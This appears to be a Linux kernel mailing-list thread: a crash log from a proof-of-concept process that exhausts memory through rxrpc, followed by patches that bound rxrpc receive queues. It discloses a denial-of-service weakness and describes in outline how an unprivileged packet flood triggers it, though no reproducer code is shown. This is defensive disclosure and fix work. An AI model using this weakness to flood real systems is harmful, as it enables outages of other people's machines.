[ 275.049636][ T9427] Acpi-ParseExt 0KB 15KB
[ 275.049641][ T9427] Acpi-Parse 0KB 15KB
[ 275.049647][ T9427] Acpi-State 0KB 15KB
[ 275.049652][ T9427] Acpi-Namespace 55KB 62KB
[ 275.049657][ T9427] numa_policy 0KB 3KB
[ 275.049662][ T9427] perf_event 0KB 31KB
[ 275.049667][ T9427] trace_event_file 881KB 883KB
[ 275.049673][ T9427] ftrace_event_field 2011KB 2012KB
[ 275.049678][ T9427] pool_workqueue 762KB 787KB
[ 275.049708][ T9427] maple_node 719KB 2567KB
[ 275.049714][ T9427] mm_struct 78KB 250KB
[ 275.136004][ T9427] vmap_area 474KB 873KB
[ 275.136025][ T9427] debug_objects_cache 2585KB 2589KB
[ 275.136035][ T9427] page->ptl 56KB 134KB
[ 275.136040][ T9427] kmalloc-cg-8k 216KB 288KB
[ 275.136048][ T9427] kmalloc-cg-4k 1524KB 1752KB
[ 275.136055][ T9427] kmalloc-cg-2k 1440KB 1620KB
[ 275.136061][ T9427] kmalloc-cg-1k 210KB 270KB
[ 275.136066][ T9427] kmalloc-cg-512 115KB 220KB
[ 275.136071][ T9427] kmalloc-cg-256 69KB 110KB
[ 275.136078][ T9427] kmalloc-cg-128 1525KB 1559KB
[ 275.136093][ T9427] kmalloc-cg-64 98KB 344KB
[ 275.136103][ T9427] kmalloc-cg-32 1276KB 1315KB
[ 275.136108][ T9427] kmalloc-cg-16 7KB 15KB
[ 275.136113][ T9427] kmalloc-cg-8 12KB 23KB
[ 275.136119][ T9427] kmalloc-cg-192 22KB 31KB
[ 275.136127][ T9427] kmalloc-cg-96 694KB 728KB
[ 275.136138][ T9427] kmalloc-8k 2424KB 2544KB
[ 275.136171][ T9427] kmalloc-4k 5304KB 8280KB
[ 275.136176][ T9427] kmalloc-2k 14070KB 14070KB
[ 275.136182][ T9427] kmalloc-1k 4494KB 4620KB
[ 275.136190][ T9427] kmalloc-512 6868KB 7339KB
[ 275.136198][ T9427] kmalloc-256 4458KB 4567KB
[ 275.136216][ T9427] kmalloc-128 1152KB 1464KB
[ 275.136245][ T9427] kmalloc-64 6098KB 6352KB
[ 275.136285][ T9427] kmalloc-32 1428KB 2354KB
[ 275.136294][ T9427] kmalloc-16 2687KB 2714KB
[ 275.136303][ T9427] kmalloc-8 1694KB 1744KB
[ 275.136314][ T9427] kmalloc-192 1727KB 1787KB
[ 275.136335][ T9427] kmalloc-96 2442KB 2608KB
[ 275.136340][ T9427] kmem_cache_node 180KB 180KB
[ 275.136345][ T9427] kmem_cache 215KB 220KB
[ 275.136351][ T9427] Memory cgroup min protection 0kB -- low protection 0kB
[ 275.136355][ T9427] Tasks state (memory values in pages):
[ 275.136358][ T9427] [ pid ] uid tgid total_vm rss rss_anon rss_file rss_shmem pgtables_bytes swapents oom_score_adj name
[ 275.136521][ T9427] [ 4992] 0 4992 8006 224 221 2 1 81920 0 -250 systemd-journal
[ 275.136538][ T9427] [ 5006] 0 5006 9316 2913 2911 2 0 98304 0 -1000 systemd-udevd
[ 275.136572][ T9427] [ 8881] 0 8881 1411 71 69 2 0 49152 0 0 cron
[ 275.136587][ T9427] [ 8934] 0 8934 55235 389 387 2 0 77824 0 0 rsyslogd
[ 275.315992][ T9427] [ 9211] 0 9211 24973 356 354 2 0 81920 0 0 dhclient
[ 275.316018][ T9427] [ 9258] 0 9258 720 34 32 2 0 45056 0 0 agetty
[ 275.316038][ T9427] [ 9259] 0 9259 720 34 32 2 0 49152 0 0 agetty
[ 275.316058][ T9427] [ 9260] 0 9260 720 34 32 2 0 40960 0 0 agetty
[ 275.316077][ T9427] [ 9261] 0 9261 720 34 32 2 0 40960 0 0 agetty
[ 275.316096][ T9427] [ 9262] 0 9262 720 34 32 2 0 45056 0 0 agetty
[ 275.316115][ T9427] [ 9263] 0 9263 720 34 32 2 0 45056 0 0 agetty
[ 275.316140][ T9427] [ 9264] 0 9264 1101 36 34 2 0 49152 0 0 agetty
[ 275.316159][ T9427] [ 9265] 0 9265 3340 244 242 2 0 73728 0 -1000 sshd
[ 275.316179][ T9427] [ 9267] 0 9267 14097 391 390 1 0 86016 0 0 nginx
[ 275.316202][ T9427] [ 9268] 33 9268 14191 472 470 2 0 86016 0 0 nginx
[ 275.316221][ T9427] [ 9269] 33 9269 14191 472 470 2 0 86016 0 0 nginx
[ 275.316240][ T9427] [ 9405] 0 9405 622 51 21 30 0 40960 0 0 sh
[ 275.316259][ T9427] [ 9419] 0 9419 2019 125 123 2 0 57344 0 0 runuser
[ 275.316278][ T9427] [ 9421] 1001 9421 246315 62 61 1 0 102400 0 0 poc_rxrpc_mem
[ 275.316304][ T9427] Kernel panic - not syncing: Out of memory: system-wide panic_on_oom is enabled
[ 275.370927][ T9427] CPU: 0 UID: 1001 PID: 9427 Comm: poc_rxrpc_mem Not tainted 7.3.0-rc6+ #1 PREEMPT(full)
[ 275.372055][ T9427] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 275.373418][ T9427] Call Trace:
[ 275.373804][ T9427] <TASK>
[ 275.374131][ T9427] dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:120)
[ 275.374642][ T9427] dump_stack (lib/dump_stack.c:129)
[ 275.375119][ T9427] vpanic (kernel/panic.c:651)
[ 275.375592][ T9427] ? __pfx_vpanic (kernel/panic.c:363)
[ 275.376192][ T9427] ? rcu_preempt_deferred_qs_irqrestore (kernel/rcu/tree_plugin.h:573 (discriminator 31))
[ 275.377078][ T9427] panic (kernel/panic.c:788)
[ 275.377519][ T9427] ? __pfx_panic (kernel/panic.c:741)
[ 275.378047][ T9427] ? __rcu_read_unlock (kernel/rcu/tree_plugin.h:798 kernel/rcu/tree_plugin.h:438)
[ 275.378713][ T9427] ? dump_header (mm/oom_kill.c:475)
[ 275.379246][ T9427] out_of_memory (mm/oom_kill.c:1076 (discriminator 4) mm/oom_kill.c:1143)
[ 275.379795][ T9427] ? __pfx_out_of_memory (mm/oom_kill.c:835)
[ 275.380579][ T9427] __alloc_frozen_pages_noprof (mm/page_alloc.c:4113 mm/page_alloc.c:5030 mm/page_alloc.c:5449)
[ 275.381284][ T9427] ? __pfx___alloc_frozen_pages_noprof (mm/page_alloc.c:4022)
[ 275.382093][ T9427] ? stack_trace_save (kernel/stacktrace.c:122 (discriminator 1))
[ 275.382694][ T9427] ? __sanitizer_cov_trace_const_cmp4 (kernel/kcov.c:310)
[ 275.383409][ T9427] ? __lock_acquire (kernel/locking/lockdep.c:4718 kernel/locking/lockdep.c:5242)
[ 275.384085][ T9427] ? kmalloc_reserve (net/core/skbuff.c:615 (discriminator 2))
[ 275.384950][ T9427] ? __sanitizer_cov_trace_const_cmp8 (kernel/kcov.c:317)
[ 275.385645][ T9427] ? policy_nodemask (mm/mempolicy.c:2304 (discriminator 1))
[ 275.386188][ T9427] alloc_pages_mpol (mm/mempolicy.c:2486)
[ 275.386762][ T9427] ? __pfx_alloc_pages_mpol (mm/mempolicy.c:2275)
[ 275.387523][ T9427] alloc_frozen_pages_noprof (mm/mempolicy.c:2557 (discriminator 1))
[ 275.388152][ T9427] allocate_slab (mm/slub.c:3345 (discriminator 2) mm/slub.c:3470)
[ 275.388700][ T9427] new_slab (mm/slub.c:3513)
[ 275.389202][ T9427] ___slab_alloc (mm/slub.c:4568)
[ 275.389734][ T9427] kmem_cache_alloc_node_noprof (mm/slub.c:4987 mm/slub.c:5068)
[ 275.390416][ T9427] ? __local_bh_enable_ip (kernel/softirq.c:478)
[ 275.391002][ T9427] ? __alloc_skb (net/core/skbuff.c:704 (discriminator 2))
[ 275.391513][ T9427] __alloc_skb (net/core/skbuff.c:704 (discriminator 2))
[ 275.392005][ T9427] ? __alloc_skb (include/linux/bottom_half.h:20 (discriminator 1) net/core/skbuff.c:697)
[ 275.392508][ T9427] ? __pfx___alloc_skb (include/linux/fortify-string.h:447)
[ 275.393075][ T9427] ? __this_cpu_preempt_check (lib/smp_processor_id.c:64)
[ 275.393706][ T9427] ? lockdep_hardirqs_on (kernel/locking/lockdep.c:4516)
[ 275.394284][ T9427] alloc_skb_with_frags (include/linux/skbuff.h:1384 net/core/skbuff.c:6803)
[ 275.394916][ T9427] sock_alloc_send_pskb (net/core/sock.c:3022)
[ 275.395495][ T9427] ? lockdep_hardirqs_on (kernel/locking/lockdep.c:4516)
[ 275.396051][ T9427] ? __pfx_sock_alloc_send_pskb (net/core/sock.c:2854 (discriminator 2))
[ 275.396686][ T9427] ? debug_smp_processor_id (lib/smp_processor_id.c:58)
[ 275.397411][ T9427] ? __lock_acquire (kernel/locking/lockdep.c:4718 kernel/locking/lockdep.c:5242)
[ 275.398103][ T9427] __ip6_append_data (include/net/sock.h:1907 net/ipv6/ip6_output.c:1695)
[ 275.398645][ T9427] ? find_held_lock (kernel/locking/lockdep.c:5401)
[ 275.399147][ T9427] ? __pfx_ip_generic_getfrag (include/linux/skbuff.h:3143)
[ 275.399809][ T9427] ? __pfx___ip6_append_data (net/ipv6/ip6_output.c:2063)
[ 275.400424][ T9427] ? ip6_mtu (net/ipv6/route.c:3296)
[ 275.400886][ T9427] ? ip6_setup_cork (net/ipv6/ip6_output.c:1450)
[ 275.401561][ T9427] ip6_make_skb (net/ipv6/ip6_output.c:2094)
[ 275.402047][ T9427] ? __pfx_ip_generic_getfrag (include/linux/skbuff.h:3143)
[ 275.402642][ T9427] ? __pfx_ip6_make_skb (net/ipv6/ip6_output.c:2040)
[ 275.403221][ T9427] ? __this_cpu_preempt_check (lib/smp_processor_id.c:64)
[ 275.404006][ T9427] udpv6_sendmsg (net/ipv6/udp.c:1720)
[ 275.404545][ T9427] ? udpv6_sendmsg (net/ipv6/udp.c:1720)
[ 275.405064][ T9427] ? find_held_lock (kernel/locking/lockdep.c:5401)
[ 275.405794][ T9427] ? __pfx_udpv6_sendmsg (net/ipv6/udp.c:338)
[ 275.406316][ T9427] ? __sanitizer_cov_trace_const_cmp4 (kernel/kcov.c:310)
[ 275.406958][ T9427] ? __pfx_avc_has_perm (security/selinux/avc.c:1154)
[ 275.407483][ T9427] ? sock_has_perm (security/selinux/hooks.c:5054 (discriminator 1))
[ 275.407991][ T9427] ? __pfx_udpv6_sendmsg (net/ipv6/udp.c:338)
[ 275.408541][ T9427] inet6_sendmsg (net/ipv6/af_inet6.c:641 (discriminator 4))
[ 275.409095][ T9427] ? inet6_sendmsg (net/ipv6/af_inet6.c:641 (discriminator 4))
[ 275.409691][ T9427] __sys_sendto (net/socket.c:800 (discriminator 1) net/socket.c:815 net/socket.c:2281)
[ 275.410329][ T9427] ? __pfx___sys_sendto (net/socket.c:2235)
[ 275.410915][ T9427] ? __this_cpu_preempt_check (lib/smp_processor_id.c:64)
[ 275.411551][ T9427] ? xfd_validate_state (arch/x86/kernel/fpu/xstate.c:1544)
[ 275.412148][ T9427] __x64_sys_sendto (net/socket.c:2288 net/socket.c:2284 net/socket.c:2284)
[ 275.412704][ T9427] ? __this_cpu_preempt_check (lib/smp_processor_id.c:64)
[ 275.413384][ T9427] ? lockdep_hardirqs_on (kernel/locking/lockdep.c:4516)
[ 275.414221][ T9427] x64_sys_call (arch/x86/include/generated/asm/syscalls_64.h:45)
[ 275.414884][ T9427] do_syscall_64 (arch/x86/entry/syscall_64.c:61 arch/x86/entry/syscall_64.c:84)
[ 275.415461][ T9427] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[ 275.416325][ T9427] RIP: 0033:0x423104
[ 275.416869][ T9427] Code: Unable to access opcode bytes at 0x4230da.
Code starting with the faulting instruction
===========================================
[ 275.417602][ T9427] RSP: 002b:00007fd17b1191b0 EFLAGS: 00000293 ORIG_RAX: 000000000000002c
[ 275.418680][ T9427] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 0000000000423104
[ 275.419639][ T9427] RDX: 0000000000000024 RSI: 00007fd15c000b70 RDI: 0000000000000008
[ 275.420576][ T9427] RBP: 00007fd17b1191f0 R08: 000000001c46aae8 R09: 000000000000001c
[ 275.421697][ T9427] R10: 0000000000000000 R11: 0000000000000293 R12: 00000000000087cf
[ 275.422817][ T9427] R13: 000000008010f9c6 R14: 000000000043e718 R15: 000000001c46aae8
[ 275.423714][ T9427] </TASK>
[ 275.424907][ T9427] Kernel Offset: disabled
[ 275.425408][ T9427] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Zihan Xi
Zihan Xi (3):
rxrpc: account encapsulated packets to UDP socket
rxrpc: bound connection and OOB receive queues
rxrpc: bound DATA receive queues
net/rxrpc/ar-internal.h | 23 ++++++++
net/rxrpc/call_event.c | 1 +
net/rxrpc/call_object.c | 4 +-
net/rxrpc/conn_event.c | 22 +++++--
net/rxrpc/conn_object.c | 19 +++++-
net/rxrpc/input.c | 83 ++++++++++++++++++---------
net/rxrpc/io_thread.c | 63 +++++++++++++++++++-
net/rxrpc/local_object.c | 25 +++++++-
net/rxrpc/oob.c | 5 +-
net/rxrpc/recvmsg.c | 3 +-
net/rxrpc/skbuff.c | 121 ++++++++++++++++++++++++++++++++++++++-
11 files changed, 327 insertions(+), 42 deletions(-)
--
2.43.0
^ permalink raw reply [flat|nested] 6+ messages in thread
* [PATCH net v9 1/3] rxrpc: account encapsulated packets to UDP socket
2026-10-14 16:58 [PATCH net v9 0/3] rxrpc: fix encap_rcv skb accounting exhaustion Zihan Xi
@ 2026-10-14 16:58 ` Zihan Xi
2026-10-14 16:58 ` [PATCH net v9 2/3] rxrpc: bound connection and OOB receive queues Zihan Xi
` (2 subsequent siblings)
3 siblings, 0 replies; 6+ messages in thread
From: Zihan Xi @ 2026-10-14 16:58 UTC (permalink / raw)
To: linux-afs, netdev
Cc: dhowells, marc.dionne, davem, edumazet, pabeni, horms, vega, root,
zihanx
rxrpc_encap_rcv() queues encapsulated UDP packets on the RxRPC local
queue without charging them to the UDP socket. If the I/O thread cannot
keep up, the queue can grow without bound.
Charge each packet against the tunnel socket under
sk_receive_queue.lock. Derive the receive-buffer limit from the
advertised window, retaining headroom for control and error traffic.
Drop packets when the buffer or protocol memory budget is exhausted,
while preserving UDP's empty-queue exception.
Orphan charged skbs when the I/O thread dequeues them. Since
skb_set_owner_r() does not hold a socket reference, clear sk_user_data
under RCU and release the socket only after purging the local queues.
The remaining patches bound RxRPC queues that can retain skbs after the
UDP receive-memory charge is released.
Fixes: 446b3e14525b ("rxrpc: Move packet reception processing into I/O thread")
Cc: stable@vger.kernel.org
Link: https://lore.kernel.org/all/cover.1791428529.git.zihanx@nebusec.ai/
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Co-developed-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
changes in v9:
- Split the fix into UDP accounting, connection/OOB queue budgeting,
and DATA receive-queue budgeting patches.
- Correct the Fixes attribution for the asynchronous receive queues.
- v8 Link: https://lore.kernel.org/all/cover.1791428529.git.zihanx@nebusec.ai/
changes in v8:
- Rebase onto net/main at 6d25ffca055a and resend after the previous
posting became stale.
- v7 Link: https://lore.kernel.org/all/cover.1790427022.git.zihanx@nebusec.ai/
changes in v7:
- Rebase the fix onto net/main at a7bfaba4823e.
- v6 Link: https://lore.kernel.org/all/cover.1789608557.git.zihanx@nebusec.ai/
changes in v6:
- Refresh the tunnel socket receive-buffer cap when rxrpc_rx_window_size
increases, without shrinking an existing socket.
- Distinguish socket receive-buffer exhaustion from protocol memory
accounting failures in the drop reason.
- Cap the window-derived value at sysctl_rmem_max and only grow an
existing sk_rcvbuf.
- v5 Link: https://lore.kernel.org/all/cover.1789273347.git.zihanx@nebusec.ai/
changes in v5:
- Size the tunnel sk_rcvbuf from one advertised DATA window, with
additional headroom for ACKs and ICMP, capped by sysctl_rmem_max.
- Drop the dst instead of skb_dst_force(); keep skb->dev = NULL.
- Document the runtime receive-window sizing limitation.
- v4 Link: https://lore.kernel.org/all/cover.1788878590.git.zihanx@nebusec.ai/
changes in v4:
- Serialize UDP rmem charge and uncharge with sk_receive_queue.lock.
- Orphan only PACKET skbs charged by encap_rcv(); preserve error skb
ownership.
- Clarify the callback-listener setup and distinguish the unprivileged
flood from extra conditions used for the recorded OOM.
- v3 Link: https://lore.kernel.org/all/cover.1788539302.git.zihanx@nebusec.ai/
changes in v3:
- Orphan skbs when the I/O thread dequeues them so UDP rmem ownership
does not follow packets onto call or connection queues.
- Clarify the affected source files and the recorded OOM context.
- v2 Link: https://lore.kernel.org/all/cover.1785339953.git.zihanx@nebusec.ai/
changes in v2:
- Use sk_drops_inc(), correct the Fixes attribution, and refresh the
baseline reproducer and decoded crash log.
- Explain why packetdrill does not express the sustained unique-call
flood used by this reproducer.
- v1 Link: https://lore.kernel.org/all/cover.1784742007.git.zihanx@nebusec.ai/
---
net/rxrpc/ar-internal.h | 1 +
net/rxrpc/io_thread.c | 61 ++++++++++++++++++++++++++++++++++++++--
net/rxrpc/local_object.c | 24 ++++++++++++++--
3 files changed, 82 insertions(+), 4 deletions(-)
diff --git a/net/rxrpc/ar-internal.h b/net/rxrpc/ar-internal.h
index 865f05fe37ab9..b079ec98aaa74 100644
--- a/net/rxrpc/ar-internal.h
+++ b/net/rxrpc/ar-internal.h
@@ -1323,6 +1323,7 @@ void rxrpc_send_version_request(struct rxrpc_local *local,
* local_object.c
*/
void rxrpc_local_dont_fragment(const struct rxrpc_local *local, bool set);
+void rxrpc_adjust_rcvbuf(struct sock *sk);
struct rxrpc_local *rxrpc_lookup_local(struct net *, const struct sockaddr_rxrpc *);
struct rxrpc_local *rxrpc_get_local(struct rxrpc_local *, enum rxrpc_local_trace);
struct rxrpc_local *rxrpc_get_local_maybe(struct rxrpc_local *, enum rxrpc_local_trace);
diff --git a/net/rxrpc/io_thread.c b/net/rxrpc/io_thread.c
index dc5184a2fa9d1..634a6e1cab87a 100644
--- a/net/rxrpc/io_thread.c
+++ b/net/rxrpc/io_thread.c
@@ -7,12 +7,37 @@
#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
+#include <net/udp.h>
+
#include "ar-internal.h"
static int rxrpc_input_packet_on_conn(struct rxrpc_connection *conn,
struct sockaddr_rxrpc *peer_srx,
struct sk_buff *skb);
+/*
+ * Drop UDP rmem ownership for packets charged in encap_rcv().
+ * sk_forward_alloc is serialised by sk_receive_queue.lock.
+ */
+static void rxrpc_skb_orphan_udp(struct sk_buff *skb)
+{
+ struct sock *sk = skb->sk;
+
+ if (!sk)
+ return;
+
+ spin_lock_bh(&sk->sk_receive_queue.lock);
+ skb_orphan(skb);
+ spin_unlock_bh(&sk->sk_receive_queue.lock);
+}
+
+static void rxrpc_encap_rcv_drop(struct sock *udp_sk, struct sk_buff *skb,
+ enum skb_drop_reason reason)
+{
+ sk_drops_inc(udp_sk);
+ sk_skb_reason_drop(udp_sk, skb, reason);
+}
+
/*
* handle data received on the local endpoint
* - may be called in interrupt context
@@ -28,6 +53,10 @@ int rxrpc_encap_rcv(struct sock *udp_sk, struct sk_buff *skb)
struct sk_buff_head *rx_queue;
struct rxrpc_local *local = rcu_dereference_sk_user_data(udp_sk);
struct task_struct *io_thread;
+ enum skb_drop_reason reason;
+ unsigned int headroom;
+ unsigned int rcvbuf;
+ unsigned int rmem;
if (unlikely(!local)) {
kfree_skb(skb);
@@ -41,8 +70,6 @@ int rxrpc_encap_rcv(struct sock *udp_sk, struct sk_buff *skb)
if (skb->tstamp == 0)
skb->tstamp = ktime_get_real();
- skb->mark = RXRPC_SKB_MARK_PACKET;
- rxrpc_new_skb(skb, rxrpc_skb_new_encap_rcv);
rx_queue = &local->rx_queue;
#ifdef CONFIG_AF_RXRPC_INJECT_RX_DELAY
if (rxrpc_inject_rx_delay ||
@@ -52,9 +79,36 @@ int rxrpc_encap_rcv(struct sock *udp_sk, struct sk_buff *skb)
}
#endif
+ headroom = SKB_TRUESIZE(RXRPC_JUMBO(1)) * 2;
+ spin_lock(&udp_sk->sk_receive_queue.lock);
+ rxrpc_adjust_rcvbuf(udp_sk);
+ rcvbuf = READ_ONCE(udp_sk->sk_rcvbuf);
+ rmem = atomic_read(&udp_sk->sk_rmem_alloc);
+ /* Permit one skb when there is no receive memory charged, as UDP does. */
+ if (rmem && rmem + skb->truesize + headroom >= rcvbuf) {
+ reason = SKB_DROP_REASON_SOCKET_RCVBUFF;
+ goto drop;
+ }
+ if (!sk_rmem_schedule(udp_sk, skb, skb->truesize)) {
+ reason = SKB_DROP_REASON_PROTO_MEM;
+ goto drop;
+ }
+
+ skb->dev = NULL;
+ skb_set_owner_r(skb, udp_sk);
+ spin_unlock(&udp_sk->sk_receive_queue.lock);
+ skb_dst_drop(skb);
+
+ skb->mark = RXRPC_SKB_MARK_PACKET;
+ rxrpc_new_skb(skb, rxrpc_skb_new_encap_rcv);
skb_queue_tail(rx_queue, skb);
wake_up_process(io_thread);
return 0;
+
+drop:
+ spin_unlock(&udp_sk->sk_receive_queue.lock);
+ rxrpc_encap_rcv_drop(udp_sk, skb, reason);
+ return 0;
}
/*
@@ -471,6 +525,9 @@ int rxrpc_io_thread(void *data)
/* Distribute packets and errors. */
while ((skb = __skb_dequeue(&rx_queue))) {
struct rxrpc_skb_priv *sp = rxrpc_skb(skb);
+
+ if (skb->mark == RXRPC_SKB_MARK_PACKET)
+ rxrpc_skb_orphan_udp(skb);
switch (skb->mark) {
case RXRPC_SKB_MARK_PACKET:
skb->priority = 0;
diff --git a/net/rxrpc/local_object.c b/net/rxrpc/local_object.c
index 169f9dfdaa77f..f519a93059244 100644
--- a/net/rxrpc/local_object.c
+++ b/net/rxrpc/local_object.c
@@ -22,6 +22,19 @@
static void rxrpc_local_rcu(struct rcu_head *);
+void rxrpc_adjust_rcvbuf(struct sock *sk)
+{
+ u32 rcvbuf, old_rcvbuf;
+
+ rcvbuf = READ_ONCE(rxrpc_rx_window_size) *
+ SKB_TRUESIZE(RXRPC_JUMBO(1)) * 2;
+ rcvbuf += rcvbuf / 4;
+ rcvbuf = min_t(u32, rcvbuf, READ_ONCE(sysctl_rmem_max));
+ old_rcvbuf = READ_ONCE(sk->sk_rcvbuf);
+ if (rcvbuf > old_rcvbuf)
+ WRITE_ONCE(sk->sk_rcvbuf, rcvbuf);
+}
+
/*
* Handle an ICMP/ICMP6 error turning up at the tunnel. Push it through the
* usual mechanism so that it gets parsed and presented through the UDP
@@ -198,6 +211,9 @@ static int rxrpc_open_socket(struct rxrpc_local *local, struct net *net)
/* set the socket up */
usk = local->socket->sk;
+ spin_lock_bh(&usk->sk_receive_queue.lock);
+ rxrpc_adjust_rcvbuf(usk);
+ spin_unlock_bh(&usk->sk_receive_queue.lock);
usk->sk_error_report = rxrpc_error_report;
switch (srx->transport.family) {
@@ -437,8 +453,8 @@ void rxrpc_destroy_local(struct rxrpc_local *local)
if (socket) {
local->socket = NULL;
kernel_sock_shutdown(socket, SHUT_RDWR);
- socket->sk->sk_user_data = NULL;
- sock_release(socket);
+ rcu_assign_sk_user_data(socket->sk, NULL);
+ synchronize_rcu();
}
/* At this point, there should be no more packets coming in to the
@@ -448,6 +464,10 @@ void rxrpc_destroy_local(struct rxrpc_local *local)
rxrpc_purge_queue(&local->rx_delay_queue);
#endif
rxrpc_purge_queue(&local->rx_queue);
+
+ if (socket)
+ sock_release(socket);
+
rxrpc_purge_client_connections(local);
page_frag_cache_drain(&local->tx_alloc);
}
--
2.43.0
^ permalink raw reply related [flat|nested] 6+ messages in thread
* [PATCH net v9 2/3] rxrpc: bound connection and OOB receive queues
2026-10-14 16:58 [PATCH net v9 0/3] rxrpc: fix encap_rcv skb accounting exhaustion Zihan Xi
2026-10-14 16:58 ` [PATCH net v9 1/3] rxrpc: account encapsulated packets to UDP socket Zihan Xi
@ 2026-10-14 16:58 ` Zihan Xi
2026-10-14 16:58 ` [PATCH net v9 3/3] rxrpc: bound DATA " Zihan Xi
2026-10-14 17:10 ` [PATCH net v9 0/3] rxrpc: fix encap_rcv skb accounting exhaustion netdev-bot+sinfo
3 siblings, 0 replies; 6+ messages in thread
From: Zihan Xi @ 2026-10-14 16:58 UTC (permalink / raw)
To: linux-afs, netdev
Cc: dhowells, marc.dionne, davem, edumazet, pabeni, horms, vega, root,
zihanx
After rxrpc_io_thread() dequeues a packet, the UDP receive-memory charge
is released. Connection-level packets can remain queued on conn->rx_queue,
while managed RXGK challenges can remain on the socket's OOB queue and
pending-response set.
Account both paths against a per-local receive budget. Release the charge
when a packet is processed, answered, freed or purged, and retain it when a
secured service packet is returned to the local I/O queue.
Fixes: 17926a79320a ("[AF_RXRPC]: Provide secure RxRPC sockets for use by userspace and kernel both")
Fixes: 5800b1cf3fd8 ("rxrpc: Allow CHALLENGEs to the passed to the app for a RESPONSE")
Cc: stable@vger.kernel.org
Link: https://lore.kernel.org/all/cover.1791428529.git.zihanx@nebusec.ai/
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Co-developed-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
changes in v9:
- Split connection/OOB queue budgeting from DATA receive-queue
budgeting.
- Add the Fixes attribution for the RXGK challenge OOB path.
- Order receive-budget helper declarations per netdev reverse-xmas style.
- v8 Link: https://lore.kernel.org/all/cover.1791428529.git.zihanx@nebusec.ai/
---
net/rxrpc/ar-internal.h | 3 +++
net/rxrpc/conn_event.c | 22 ++++++++++++++++----
net/rxrpc/conn_object.c | 19 +++++++++++++++---
net/rxrpc/io_thread.c | 2 ++
net/rxrpc/local_object.c | 1 +
net/rxrpc/oob.c | 5 ++++-
net/rxrpc/skbuff.c | 43 +++++++++++++++++++++++++++++++++++++++-
7 files changed, 86 insertions(+), 9 deletions(-)
diff --git a/net/rxrpc/ar-internal.h b/net/rxrpc/ar-internal.h
index b079ec98aaa74..36fc4609181e1 100644
--- a/net/rxrpc/ar-internal.h
+++ b/net/rxrpc/ar-internal.h
@@ -360,6 +360,7 @@ struct rxrpc_local {
struct sk_buff_head rx_delay_queue; /* Delay injection queue */
#endif
struct sk_buff_head rx_queue; /* Received packets */
+ atomic_long_t rx_async_queue_bytes; /* Outstanding async Rx bytes */
struct list_head conn_attend_q; /* Conns requiring immediate attention */
struct list_head call_attend_q; /* Calls requiring immediate attention */
@@ -1516,6 +1517,8 @@ void rxrpc_new_skb(struct sk_buff *, enum rxrpc_skb_trace);
void rxrpc_see_skb(struct sk_buff *, enum rxrpc_skb_trace);
void rxrpc_get_skb(struct sk_buff *, enum rxrpc_skb_trace);
void rxrpc_free_skb(struct sk_buff *, enum rxrpc_skb_trace);
+bool rxrpc_charge_async_queue(struct rxrpc_local *, struct sk_buff *);
+void rxrpc_uncharge_async_queue(struct rxrpc_local *, struct sk_buff *);
void rxrpc_purge_queue(struct sk_buff_head *);
/*
diff --git a/net/rxrpc/conn_event.c b/net/rxrpc/conn_event.c
index 611c790bc6d0c..4baddd178cfa5 100644
--- a/net/rxrpc/conn_event.c
+++ b/net/rxrpc/conn_event.c
@@ -393,6 +393,8 @@ static void rxrpc_do_process_connection(struct rxrpc_connection *conn)
while ((skb = skb_dequeue(&conn->rx_queue))) {
rxrpc_see_skb(skb, rxrpc_skb_see_conn_work);
rxrpc_process_event(conn, skb);
+ if (skb->mark != RXRPC_SKB_MARK_SERVICE_CONN_SECURED)
+ rxrpc_uncharge_async_queue(conn->local, skb);
rxrpc_free_skb(skb, rxrpc_skb_put_conn_work);
}
}
@@ -414,15 +416,22 @@ void rxrpc_process_connection(struct work_struct *work)
* post connection-level events to the connection
* - this includes challenges, responses, some aborts and call terminal packet
* retransmission.
+ * - bound the queued memory independently of the UDP rmem charge.
*/
-static void rxrpc_post_packet_to_conn(struct rxrpc_connection *conn,
+static bool rxrpc_post_packet_to_conn(struct rxrpc_connection *conn,
struct sk_buff *skb)
{
+ struct rxrpc_local *local = conn->local;
+
+ if (!rxrpc_charge_async_queue(local, skb))
+ return false;
+
_enter("%p,%p", conn, skb);
rxrpc_get_skb(skb, rxrpc_skb_get_conn_work);
skb_queue_tail(&conn->rx_queue, skb);
rxrpc_queue_conn(conn, rxrpc_conn_queue_rx_work);
+ return true;
}
/*
@@ -442,7 +451,10 @@ static bool rxrpc_post_challenge(struct rxrpc_connection *conn,
rxrpc_get_connection(conn, rxrpc_conn_get_challenge_input);
if (!conn->security->challenge_to_recvmsg) {
- rxrpc_post_packet_to_conn(conn, skb);
+ if (!rxrpc_post_packet_to_conn(conn, skb)) {
+ rxrpc_put_connection(conn, rxrpc_conn_put_challenge_input);
+ sp->chall.conn = NULL;
+ }
return true;
}
@@ -480,8 +492,10 @@ static bool rxrpc_post_challenge(struct rxrpc_connection *conn,
return false;
}
- if (!call)
- rxrpc_post_packet_to_conn(conn, skb);
+ if (!call && !rxrpc_post_packet_to_conn(conn, skb)) {
+ rxrpc_put_connection(conn, rxrpc_conn_put_challenge_input);
+ sp->chall.conn = NULL;
+ }
return true;
}
diff --git a/net/rxrpc/conn_object.c b/net/rxrpc/conn_object.c
index 0ece717db0f85..d85345e014a9f 100644
--- a/net/rxrpc/conn_object.c
+++ b/net/rxrpc/conn_object.c
@@ -300,6 +300,19 @@ static void rxrpc_rcu_free_connection(struct rcu_head *rcu)
wake_up_var(&rxnet->nr_conns);
}
+/*
+ * Purge a connection's receive queue, updating the local queue accounting.
+ */
+static void rxrpc_purge_conn_queue(struct rxrpc_connection *conn)
+{
+ struct sk_buff *skb;
+
+ while ((skb = skb_dequeue(&conn->rx_queue))) {
+ rxrpc_uncharge_async_queue(conn->local, skb);
+ rxrpc_free_skb(skb, rxrpc_skb_put_purge);
+ }
+}
+
/*
